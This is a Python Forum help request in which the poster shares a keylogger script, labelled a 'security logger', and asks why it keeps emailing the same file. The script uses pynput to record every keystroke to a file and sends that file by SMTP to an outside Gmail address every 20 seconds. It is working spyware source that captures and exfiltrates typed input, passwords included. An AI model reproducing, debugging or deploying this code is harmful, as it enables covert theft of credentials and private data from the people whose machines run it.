Python Forum
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Updated security logger
#1
So I finally got this to work, (to a degree). The text file from the key logging function is being logged just fine. It even attaches to the email (which I have pointing to the location of the text file) and will send as an attachment.

However, the process only works once - and after the first email has been sent, it continues to send the original text file regardless of what text has been added by the logger. This baffles me, because the logger has to be initiated in the first place to generate text- which the email DOES send initially. But it doesn't on subsequent emails. Any insight is appreciated.

from pynput.keyboard import Key, Listener
import logging
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import time
import threading
from pynput import keyboard

def main():

    def logger():
        logs = []
        log_dir = ""
        logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(message)s')

        def on_press(key):
            logging.info(str(key))
            logs.append(key)
            f = open('your_log.txt', 'a')
            f.write('%s\n' % key)
            f.close()

        # Collect events until released
        with keyboard.Listener(
                on_press=on_press) as listener:
            listener.join()
        
    
    def mail():
        
        email_user = '****@yahoo.com'
        email_password = '*****'
        email_send = '******@gmail.com'

        subject = 'Test'
        #Creating message object for email.  Tying message object to variables above.


        msg = MIMEMultipart()
        msg['From'] = email_user
        msg['To'] = email_send
        msg['Subject'] = subject
        #Actual message.
        body = 'Hi there, sending this email from Python!'
        #Attach a file
        msg.attach(MIMEText(body,'plain'))
        #File path needs double slash here. Filename is reference variable to file location
        time.sleep(5)
        filename='C:\\Users\\JamesLaptop\\Desktop\\Python\\your_log.txt'
        #create attachment variable, open, filename and 
        
        attachment=open(filename,'rb')

        part = MIMEBase('application','octet-stream')
        part.set_payload((attachment).read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition',"attachment; filename= "+filename)

        msg.attach(part)
        text = msg.as_string()
        server = smtplib.SMTP(host = 'smtp.mail.yahoo.com', port = 587)
        server.starttls()
        server.login(email_user,email_password)
        #send message
        while True:
            try:
                server.sendmail(email_user,email_send,text)
                print("Success")
                time.sleep(20)
            except Exception:
                print("Message failed to send")
            
        server.quit()
        
    w = threading.Thread(target = logger)
    w.start()
    mail()




main()

Oh, also - notice that I did put a thread inside of the mail function. This initiates the logger function within the mail function, which needs the logger to go first so it generates an attachment - otherwise if there is no attachment there is error. Secondly, I have time.sleep for 5 seconds prior to attaching file, just to generate some keystrokes to create a file.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  logger behaviour setdetnet 1 902 Apr-15-2023, 05:20 AM
Last Post: Gribouillis
  Mysql Workbench table not updated CatBall 2 1,126 Feb-13-2023, 05:37 PM
Last Post: CatBall
  how to write exception error into logger mg24 3 996 Nov-15-2022, 04:20 PM
Last Post: insharazzak
  python insert blank line in logger mg24 1 2,875 Nov-02-2022, 08:36 AM
Last Post: snippsat
  python logger help ... save logger into different folder mg24 1 1,502 Oct-25-2022, 03:04 PM
Last Post: snippsat
  Closing logger from other function problem Paqqno 1 1,132 Apr-25-2022, 11:49 AM
Last Post: Gribouillis
  Closing logger to rename directory malcoverc 1 1,220 Apr-19-2022, 07:06 AM
Last Post: Gribouillis
  logger option , where is the file? korenron 1 1,801 Apr-25-2021, 01:28 PM
Last Post: snippsat
  live updated json file Nyanpasu 2 2,248 Aug-22-2020, 04:41 PM
Last Post: Nyanpasu
  How to assign input file name as logger name Mekala 5 2,894 Aug-05-2020, 12:54 AM
Last Post: Larz60+

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020